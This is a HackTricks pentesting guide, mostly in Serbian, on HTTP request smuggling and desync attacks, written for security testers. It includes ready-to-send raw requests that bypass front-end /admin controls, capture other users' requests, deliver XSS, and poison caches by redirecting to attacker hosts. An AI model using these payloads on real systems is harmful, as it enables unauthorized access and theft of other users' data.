HTTP Request Smuggling / HTTP Desync Attack
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
Šta je
Ova ranjivost se javlja kada desynchronization između front-end proxies i back-end servera omogućava attacker-u da pošalje HTTP request koji će biti interpreted kao single request od strane front-end proxies (load balance/reverse-proxy), a kao 2 request od strane back-end servera.
Ovo omogućava korisniku da modify sledeći request koji stigne do back-end servera posle njegovog.
Theory
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
Reality
Front-End (load-balance / Reverse Proxy) process content-length ili transfer-encoding header, a Back-end server process drugi, što izaziva desynchronization između ta 2 sistema.
Ovo može biti veoma kritično jer će attacker biti u mogućnosti da pošalje jedan request reverse proxy-ju koji će back-end server interpreted kao 2 različita request-a. Opasnost ove tehnike leži u činjenici da će back-end server interpret 2nd request injected kao da je došao od sledećeg klijenta, a real request tog klijenta će biti part injected request-a.
Particularities
Zapamti da je u HTTP novi red sastavljen od 2 bajta:
- Content-Length: Ovaj header koristi decimal number da označi number bytes u body request-a. Očekuje se da body završi poslednjim karakterom, novi red nije potreban na kraju request-a.
- Transfer-Encoding: Ovaj header koristi u body hexadecimal number da označi number bytes sledećeg chunk-a. chunk mora da end sa novi red, ali taj novi red nije uračunat u indikator dužine. Ovaj način prenosa mora da se završi sa chunk of size 0 followed by 2 new lines:
0 - Connection: Po mom iskustvu, preporučuje se da se koristi
Connection: keep-alivena prvom request-u request Smuggling-a.
Visible - Hidden
Glavni problem sa http/1.1 je što svi request-i idu kroz isti TCP socket, pa ako se pronađe razlika između 2 sistema koji primaju request-e, moguće je poslati jedan request koji će finalni backend (ili čak međusistemi) reated as 2 different requests (or more).
This blog post predlaže nove načine za detekciju desync napada na sistem koji neće biti flag-ovan od strane WAF-ova. Za to uvodi Visible vs Hidden ponašanja. Cilj u ovom slučaju je da se pronađu razlike u response-u koristeći tehnike koje mogu izazvati desync bez stvarnog iskorišćavanja.
Na primer, slanjem request-a sa normalnim host header-om i “ host“ header-om, ako se backend žali na ovaj request (možda zato što je value od “ host“ pogrešan), to može značiti da front-end nije video “ host“ header, dok ga je finalni backend koristio, što je veoma verovatno indicija desync-a između front-end-a i backend-a.
Ovo bi bila Hidden-Visible discrepancy.
Ako bi front-end uzeo u obzir “ host“ header, a front-end nije, ovo bi mogla biti Visible-Hidden situacija.
Na primer, ovo je omogućilo otkrivanje desync-a između AWS ALB kao front-end-a i IIS-a kao backend-a. To je zato što kada je poslat “Host: foo/bar”, ALB je vratio 400, Server; awselb/2.0, ali kada je poslat “Host : foo/bar”, vratio je 400, Server: Microsoft-HTTPAPI/2.0, što pokazuje da je backend slao response. Ovo je Hidden-Vissible (H-V) situacija.
Imaj na umu da ova situacija nije ispravljena u AWS, ali može biti sprečena podešavanjem routing.http.drop_invalid_header_fields.enabled i routing.http.desync_mitigation_mode = strictest.
Basic Examples
Tip
Kada pokušavaš da iskoristiš ovo sa Burp Suite, disable
Update Content-LengthandNormalize HTTP/1 line endingsu repeater-u jer neki gadgets zloupotrebljavaju newlines, carriage returns i malformed content-lengths.
HTTP request smuggling attacks se prave slanjem ambiguous requests koji iskorišćavaju razlike u tome kako front-end i back-end serveri interpretiraju Content-Length (CL) i Transfer-Encoding (TE) headers. Ovi napadi mogu da se pojave u različitim oblicima, uglavnom kao CL.TE, TE.CL i TE.TE. Svaki tip predstavlja jedinstvenu kombinaciju toga kako front-end i back-end serveri daju prioritet ovim header-ima. Ranjivosti nastaju zato što serveri obrađuju isti request na različite načine, što vodi do neočekivanih i potencijalno malicioznih ishoda.
Basic Examples of Vulnerability Types

Tip
To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): Obrađuje request na osnovu
Content-Lengthheader-a. -
Back-End (TE): Obrađuje request na osnovu
Transfer-Encodingheader-a. -
Attack Scenario:
-
Attacker šalje request čija vrednost
Content-Lengthheader-a ne odgovara stvarnoj dužini content-a. -
front-end server prosleđuje ceo request ka back-endu, na osnovu vrednosti
Content-Length. -
back-end server obrađuje request kao chunked zbog
Transfer-Encoding: chunkedheader-a, interpretirajući preostale podatke kao poseban, naredni request. -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): Obrađuje request na osnovu
Transfer-Encodingheader-a. -
Back-End (CL): Obrađuje request na osnovu
Content-Lengthheader-a. -
Attack Scenario:
-
Attacker šalje chunked request gde se chunk size (
7b) i stvarna dužina content-a (Content-Length: 4) ne poklapaju. -
front-end server, poštujući
Transfer-Encoding, prosleđuje ceo request ka back-endu. -
back-end server, poštujući
Content-Length, obrađuje samo početni deo request-a (7bbytes), ostavljajući ostatak kao deo nenamernog narednog request-a. -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: Oba podržavaju
Transfer-Encoding, ali jedan može biti prevaren da ga ignoriše putem obfuscation-a. -
Attack Scenario:
-
Attacker šalje request sa obfuscated
Transfer-Encodingheader-ima. -
U zavisnosti od toga koji server (front-end ili back-end) ne prepoznaje obfuscation, može se iskoristiti CL.TE ili TE.CL vulnerability.
-
Neobrađeni deo request-a, kako ga vidi jedan od servera, postaje deo narednog request-a, što vodi do smuggling-a.
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- Oba servera obrađuju request isključivo na osnovu
Content-Lengthheader-a. - Ovaj scenario obično ne vodi do smuggling-a, jer postoji usklađenost u tome kako oba servera interpretiraju dužinu request-a.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- Odnosi se na scenarije gde je
Content-Lengthheader prisutan i ima vrednost različitu od nule, što ukazuje da request body ima content. Back-end ignorišeContent-Lengthheader (koji se tretira kao 0), ali ga front-end parsira. - Ključno je za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj request-a.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Kao prethodni, ali koristeći TE
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL Scenario
U 0.CL situaciji request se šalje sa Content-Length kao:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
A front-end ne uzima u obzir Content-Length pa šalje samo prvi request ka backend-u (do 7 u primeru). Međutim, backend vidi Content-Length i čeka body koji nikad ne stiže zato što front-end već čeka response.
Međutim, ako postoji request koji je moguće poslati backend-u i na koji se odgovara pre nego što se primi body requesta, ovaj deadlock neće nastati. U IIS-u se to, na primer, dešava pri slanju requesta ka forbidden rečima kao što je /con (proveri documentation), i na taj način će se početni request odmah dobiti kao response, a drugi request će sadržati request žrtve kao što je:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
Ovo je korisno da izazove desync, ali do sada neće imati nikakav uticaj.
Međutim, post nudi rešenje za ovo tako što pretvara 0.CL napad u CL.0 sa double desync.
Breaking the web server
Ova tehnika je takođe korisna u scenarijima gde je moguće breakovati web server dok čita početne HTTP podatke ali bez zatvaranja konekcije. Na ovaj način, body HTTP request-a će se smatrati sledećim HTTP request-om.
Na primer, kao što je objašnjeno u ovom writeup-u, u Werkzeug-u je bilo moguće poslati neke Unicode karaktere i to bi nateralo server da se breakuje. Međutim, ako je HTTP konekcija kreirana sa header-om Connection: keep-alive, body request-a neće biti pročitan i konekcija će ostati otvorena, tako da će se body request-a tretirati kao sledeći HTTP request.
Forcing via hop-by-hop headers
Zloupotrebom hop-by-hop headers možete indikovati proxy-ju da obriše header Content-Length ili Transfer-Encoding, tako da je moguće zloupotrebiti HTTP request smuggling.
Connection: Content-Length
Za više informacija o hop-by-hop headers posetite:
Pronalaženje HTTP Request Smuggling
Identifikovanje HTTP request smuggling ranjivosti često se može postići pomoću timing tehnika, koje se oslanjaju na posmatranje koliko je serveru potrebno da odgovori na izmenjene zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
Pronalaženje CL.TE ranjivosti pomoću timing tehnika
-
Metod:
-
Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke.
-
Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Posmatranje:
-
Front-end server obrađuje zahtev na osnovu
Content-Lengthi prekida poruku prerano. -
Back-end server, očekujući chunked poruku, čeka sledeći chunk koji nikada ne stiže, što uzrokuje kašnjenje.
-
Indikatori:
-
Timeout-ovi ili duga kašnjenja u odgovoru.
-
Primanje 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru.
Pronalaženje TE.CL ranjivosti pomoću timing tehnika
-
Metod:
-
Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke.
-
Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Posmatranje:
- Front-end server obrađuje zahtev na osnovu
Transfer-Encodingi prosleđuje celu poruku. - Back-end server, očekujući poruku na osnovu
Content-Length, čeka dodatne podatke koji nikada ne stižu, što uzrokuje kašnjenje.
Druge metode za pronalaženje ranjivosti
- Diferencijalna analiza odgovora:
- Pošaljite malo različite verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na razliku u parsiranju.
- Korišćenje automatizovanih alata:
- Alati kao što je Burp Suite-ova ekstenzija ‘HTTP Request Smuggler’ mogu automatski testirati ove ranjivosti slanjem različitih oblika dvosmislenih zahteva i analizom odgovora.
- Testovi varijacije Content-Length:
- Pošaljite zahteve sa različitim
Content-Lengthvrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server rukuje takvim neusaglašenostima. - Testovi varijacije Transfer-Encoding:
- Pošaljite zahteve sa zamaskiranim ili neispravnim
Transfer-Encodingheaderima i pratite kako front-end i back-end server različito reaguju na takve manipulacije.
Header Expect: 100-continue
Proverite kako ovaj header može pomoći pri iskorišćavanju http desync u:
Testiranje HTTP Request Smuggling ranjivosti
Nakon potvrde efikasnosti timing tehnika, ključno je proveriti da li se client zahtevi mogu manipulisati. Jednostavan metod je pokušati poisoning vaših zahteva, na primer, naterati zahtev za / da vrati 404 odgovor. Primeri CL.TE i TE.CL prethodno razmatrani u Basic Examples pokazuju kako se može poison-ovati client zahtev da bi se izazvao 404 odgovor, iako client pokušava da pristupi drugom resursu.
Ključna razmatranja
Prilikom testiranja request smuggling ranjivosti interferisanjem sa drugim zahtevima, imajte na umu:
- Različite mrežne veze: “attack” i “normal” zahtevi treba da se šalju preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje postojanje ranjivosti.
- Dosledan URL i parametri: Nastojte da koristite identične URL-ove i nazive parametara za oba zahteva. Moderne aplikacije često rutiraju zahteve ka određenim back-end serverima na osnovu URL-a i parametara. Poklapanje povećava verovatnoću da će oba zahteva obraditi isti server, što je preduslov za uspešan attack.
- Timing i racing uslovi: “normal” zahtev, namenjen otkrivanju interferencije od strane “attack” zahteva, trka se sa drugim istovremenim zahtevima aplikacije. Zato pošaljite “normal” zahtev odmah nakon “attack” zahteva. Zauzete aplikacije mogu zahtevati više pokušaja radi konačne potvrde ranjivosti.
- Izazovi load balancing-a: Front-end serveri koji deluju kao load balancer-i mogu raspoređivati zahteve na različite back-end sisteme. Ako “attack” i “normal” zahtevi završe na različitim sistemima, attack neće uspeti. Ovaj aspekt load balancing-a može zahtevati više pokušaja da bi se potvrdila ranjivost.
- Neželjeni uticaj na korisnike: Ako vaš attack nenamerno utiče na zahtev drugog korisnika (a ne na “normal” zahtev koji ste poslali radi detekcije), to znači da je vaš attack uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, pa je potreban oprezan pristup.
Razlikovanje HTTP/1.1 pipelining artefakata od stvarnog request smuggling
Ponovno korišćenje konekcije (keep-alive) i pipelining mogu lako proizvesti iluzije “smuggling-a” u alatima za testiranje koji šalju više zahteva preko istog socket-a. Naučite da razlikujete bezopasne client-side artefakte od stvarnog server-side desync-a.
Zašto pipelining stvara klasične false positives
HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i konkatenira zahteve i odgovore na isti stream. U pipelining-u, client šalje više zahteva jedan za drugim i oslanja se na odgovore po redosledu. Uobičajen false-positive je da se neispravan CL.0-style payload pošalje dvaput preko jedne konekcije:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Molim pošaljite sadržaj koji treba prevesti.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Ako je server ignorisao neispravan Content_Length, nema FE↔BE desync. Sa reuse, vaš klijent je zapravo poslao ovaj byte-stream, koji je server parsirao kao dva nezavisna requesta:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impact: none. Samo si desinhronizovao klijenta od framing-a servera.
Tip
Burp moduli koji zavise od reuse/pipelining: Turbo Intruder sa
requestsPerConnection>1, Intruder sa “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” ili “Enable connection reuse”.
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- U Burp Intruder/Repeater, isključi HTTP/1 reuse i izbegavaj “Send group in sequence”.
- U Turbo Intruder, postavi
requestsPerConnection=1ipipeline=False. - If the behavior disappears, verovatno je bio client-side pipelining, osim ako ne radiš sa connection-locked/stateful targetima ili client-side desync.
- HTTP/2 nested-response check
- Pošalji HTTP/2 request. If response body contains complete nested HTTP/1 response, dokazao si backend parsing/desync bug umesto čistog client artefakta.
- Partial-requests probe for connection-locked front-ends
- Neki FE-ovi re-use-uju upstream BE connection samo ako je klijent re-use-ovao svoju. Use partial-requests to detect FE behavior that mirrors client reuse.
- Pogledaj PortSwigger “Browser‑Powered Desync Attacks” za connection-locked tehniku.
- State probes
- Traži razlike između first- i subsequent-request ponašanja na istoj TCP connection (first-request routing/validation).
- Burp “HTTP Request Smuggler” uključuje connection‑state probe koji to automatizuje.
- Visualize the wire
- Koristi Burp “HTTP Hacker” extension da direktno pregledaš concatenation i message framing dok eksperimentišeš sa reuse i partial requests.
Connection‑locked request smuggling (reuse-required)
Neki front-ends re-use-uju upstream connection samo kada klijent re-use-uje svoju. Real smuggling postoji, ali je uslovljen client-side reuse-om. Da bi razlikovao i dokazao impact:
- Prove the server-side bug
- Koristi HTTP/2 nested-response check, ili
- Use partial-requests to show the FE only reuses upstream when the client does.
- Prikaži real impact čak i ako je direktno cross-user socket abuse blokirano:
- Cache poisoning: poison shared caches kroz desync tako da response-i utiču na druge korisnike.
- Internal header disclosure: reflektuj FE-injected headers (npr. auth/trust headers) i pivotuj ka auth bypass.
- Bypass FE controls: smuggle ograničene paths/methods pored front-end-a.
- Host-header abuse: kombinuј sa host routing quirk-ovima da pivotuješ ka internim vhost-ovima.
- Operator workflow
- Reprodukuj sa controlled reuse (Turbo Intruder
requestsPerConnection=2, ili Burp Repeater tab group → “Send group in sequence (single connection)”). - Zatim chain-uj ka cache/header-leak/control-bypass primitive i demonstriraj cross-user ili authorization impact.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
If you’re targeting browser-powered/client-side desync, malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Fokusiraj se na primitives reachable via navigation/fetch, i then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
For background and end-to-end workflows:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via
requestsPerConnection. - Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
Note
Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Ponekad front-end proxy-ji sprovode bezbednosne mere i proveravaju dolazne requests. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, što omogućava neovlašćen pristup restriktivnim endpoints. Na primer, pristup /admin može biti zabranjen spolja, pri čemu front-end proxy aktivno blokira takve pokušaje. Ipak, ovaj proxy možda neće proveravati ugrađene requests unutar smuggled HTTP request-a, ostavljajući rupu za zaobilaženje ovih ograničenja.
Razmotri sledeće primere koji ilustruju kako HTTP Request Smuggling može da se iskoristi za zaobilaženje front-end security controls, posebno targetirajući /admin path koji je tipično zaštićen od strane front-end proxy-ja:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
U CL.TE attack-u, Content-Length header se koristi za početni request, dok naknadni embedded request koristi Transfer-Encoding: chunked header. Front-end proxy obrađuje početni POST request, ali ne uspeva da pregleda embedded GET /admin request, što omogućava neovlašćen pristup /admin putanji.
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Suprotno tome, u TE.CL attacku, početni POST request koristi Transfer-Encoding: chunked, a naknadni ugrađeni request se obrađuje na osnovu Content-Length headera. Slično CL.TE attacku, front-end proxy previdi smuggled GET /admin request, nenamerno omogućavajući pristup ograničenoj /admin putanji.
Revealing front-end request rewriting
Applications često koriste front-end server da modifikuju dolazne requestove pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje headera, kao što je X-Forwarded-For: <IP of the client>, kako bi se prosledila klijentova IP adresa back-endu. Razumevanje ovih izmena može biti ključno, jer može otkriti načine da se bypass protections ili uncover concealed information or endpoints.
Da biste istražili kako proxy menja request, pronađite POST parameter koji back-end echo-uje u response-u. Zatim sastavite request, koristeći ovaj parameter poslednji, slično sledećem:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
U ovoj strukturi, naredne komponente request-a se dodaju nakon search=, što je parameter koji se reflektuje u odgovoru. Ova refleksija će otkriti headere narednog request-a.
Važno je uskladiti Content-Length header ugnježdenog request-a sa stvarnom dužinom sadržaja. Preporučljivo je početi sa malom vrednošću i postepeno je povećavati, jer preniska vrednost može skratiti reflektovane podatke, dok previsoka vrednost može izazvati grešku u request-u.
Ova tehnika je takođe primenljiva u kontekstu TE.CL vulnerability, ali request treba da se završava sa search=\r\n0. Bez obzira na newline karaktere, vrednosti će se dodati na search parameter.
Ovaj metod prvenstveno služi da se razumeju izmene request-a koje pravi front-end proxy, suštinski izvodeći samousmerenu investigation.
Capturing other users’ requests
Izvodljivo je capture-ovati request-e sledećeg korisnika dodavanjem specifičnog request-a kao vrednosti nekog parametra tokom POST operacije. Evo kako se to može uraditi:
Dodavanjem sledećeg request-a kao vrednosti parametra, možete sačuvati request narednog klijenta:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
U ovom scenariju, comment parameter je namenjen da sačuva sadržaj unutar sekcije za komentar posta na javno dostupnoj stranici. Kao rezultat toga, sadržaj narednog request-a će se pojaviti kao komentar.
Međutim, ova tehnika ima ograničenja. Generalno, hvata podatke samo do delimiter-a parametra koji se koristi u smuggled request-u. Za URL-encoded form submission, ovaj delimiter je znak &. To znači da će uhvaćeni sadržaj iz request-a žrtvinog korisnika stati na prvom &, koji može čak biti i deo query string-a.
Dodatno, važno je napomenuti da je ovaj pristup takođe moguć sa TE.CL vulnerability. U takvim slučajevima, request treba da se završi sa search=\r\n0. Bez obzira na newline characters, vrednosti će biti dodate search parameter-u.
Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling može da se iskoristi za napad na web stranice koje su ranjive na Reflected XSS, uz značajne prednosti:
- Interakcija sa target users nije potrebna.
- Omogućava iskorišćavanje XSS-a u delovima request-a koji su normalno nedostižni, kao što su HTTP request headers.
U scenarijima u kojima je website podložan Reflected XSS kroz User-Agent header, sledeći payload pokazuje kako da se ova ranjivost iskoristi:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Ovaj payload je strukturisan da iskoristi ranjivost na sledeći način:
- Pokreće
POSTrequest, naizgled tipičan, saTransfer-Encoding: chunkedheaderom da označi početak smuggling-a. - Zatim sledi
0, čime se označava kraj chunked message body-ja. - Nakon toga se uvodi smuggled
GETrequest, gde jeUser-Agentheader inektovan sa skriptom,<script>alert(1)</script>, što pokreće XSS kada server obradi ovaj naredni request.
Manipulisanjem User-Agent kroz smuggling, payload zaobilazi normalna ograničenja request-a i na taj način iskorišćava Reflected XSS ranjivost na nestandardan, ali efikasan način.
HTTP/0.9
Caution
U slučaju da je user content reflektovan u response-u sa
Content-typekao što jetext/plain, to sprečava izvršavanje XSS-a. Ako server podržava HTTP/0.9, možda je moguće zaobići ovo!
Verzija HTTP/0.9 je postojala pre 1.0 i koristi samo GET verbs i ne odgovara sa headers, već samo sa body-jem.
U ovom writeup-u, ovo je zloupotrebljeno uz request smuggling i vulnerable endpoint that will reply with the input of the user da bi se smuggled request sa HTTP/0.9. Parameter koji je bio reflektovan u response-u sadržao je fake HTTP/1.1 response (with headers and body), tako da će response sadržati validan executable JS code sa Content-Type od text/html.
Exploiting On-site Redirects with HTTP Request Smuggling
Applications često preusmeravaju sa jednog URL-a na drugi koristeći hostname iz Host headera u redirect URL-u. Ovo je uobičajeno kod web servera kao što su Apache i IIS. Na primer, zahtev za folder bez završnog slash-a rezultira redirect-om da se doda slash:
GET /home HTTP/1.1
Host: normal-website.com
Rezultati u:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Iako naizgled bezopasno, ovo ponašanje može da se manipuliše pomoću HTTP request smuggling kako bi se korisnici preusmerili na eksterni sajt. Na primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Ovaj smuggled request može da izazove da sledeći obrađeni korisnički request bude preusmeren na website pod kontrolom napadača:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Rezultati u:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
U ovom scenariju, korisnikov zahtev za JavaScript fajl je preusmeren. Napadač može potencijalno kompromitovati korisnika tako što će servirati malicious JavaScript kao odgovor.
Exploiting Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning može se izvršiti ako bilo koja komponenta front-end infrastrukture kešira sadržaj, obično radi poboljšanja performansi. Manipulisanjem serverovog odgovora, moguće je poison the cache.
Ranije smo primetili kako se server odgovori mogu izmeniti tako da vrate 404 grešku (pogledaj Basic Examples). Slično tome, moguće je prevariti server da isporuči sadržaj /index.html kao odgovor na zahtev za /static/include.js. Kao posledica toga, sadržaj /static/include.js biva zamenjen u cache-u sadržajem /index.html, čineći /static/include.js nedostupnim korisnicima, što potencijalno može dovesti do Denial of Service (DoS).
Ova tehnika postaje posebno moćna ako se otkrije Open Redirect vulnerability ili ako postoji on-site redirect to an open redirect. Takve ranjivosti mogu se iskoristiti da se keširani sadržaj /static/include.js zameni skriptom pod kontrolom napadača, što praktično omogućava široko rasprostranjen Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani /static/include.js.
Ispod je ilustracija iskorišćavanja cache poisoning combined with an on-site redirect to open redirect. Cilj je da se izmeni sadržaj keša za /static/include.js tako da servira JavaScript kod pod kontrolom napadača:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Napomena da embedded request cilja /post/next?postId=3. Ovaj request će biti preusmeren na /post?postId=4, koristeći vrednost Host header za određivanje domena. Izmenom Host header, napadač može da preusmeri request na svoj domen (on-site redirect to open redirect).
Nakon uspešnog socket poisoning, treba da se pokrene GET request za /static/include.js. Ovaj request će biti kontaminiran prethodnim on-site redirect to open redirect requestom i preuzeti sadržaj skripte koju kontroliše napadač.
Nakon toga, svaki request za /static/include.js će servirati keširani sadržaj napadačeve skripte, što efektivno pokreće širok XSS attack.
Using HTTP request smuggling to perform web cache deception
What is the difference between web cache poisoning and web cache deception?
- U web cache poisoning, napadač navede aplikaciju da sačuva neki zlonamerni sadržaj u cache, i taj sadržaj se iz cache servira drugim korisnicima aplikacije.
- U web cache deception, napadač navede aplikaciju da sačuva osetljiv sadržaj koji pripada drugom korisniku u cache, a zatim napadač preuzima taj sadržaj iz cache.
Napadač pravi smuggled request koji preuzima osetljiv user-specific sadržaj. Razmotrimo sledeći primer:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Ako ovaj smuggled request zatrova cache entry namenjen za static content (npr. /someimage.png), osetljivi podaci žrtve iz /private/messages mogu biti keširani pod cache entry-jem static content-a. Kao posledica toga, attacker bi potencijalno mogao da preuzme ove keširane osetljive podatke.
Abusing TRACE via HTTP Request Smuggling
In this post je suggested da ako je server ima omogućenu metodu TRACE, moglo bi biti moguće abuse-ovati je pomoću HTTP Request Smuggling. To je zato što će ova metoda reflektovati bilo koji header poslat serveru kao deo body-ja response-a. Na primer:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Poslaće odgovor kao:
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
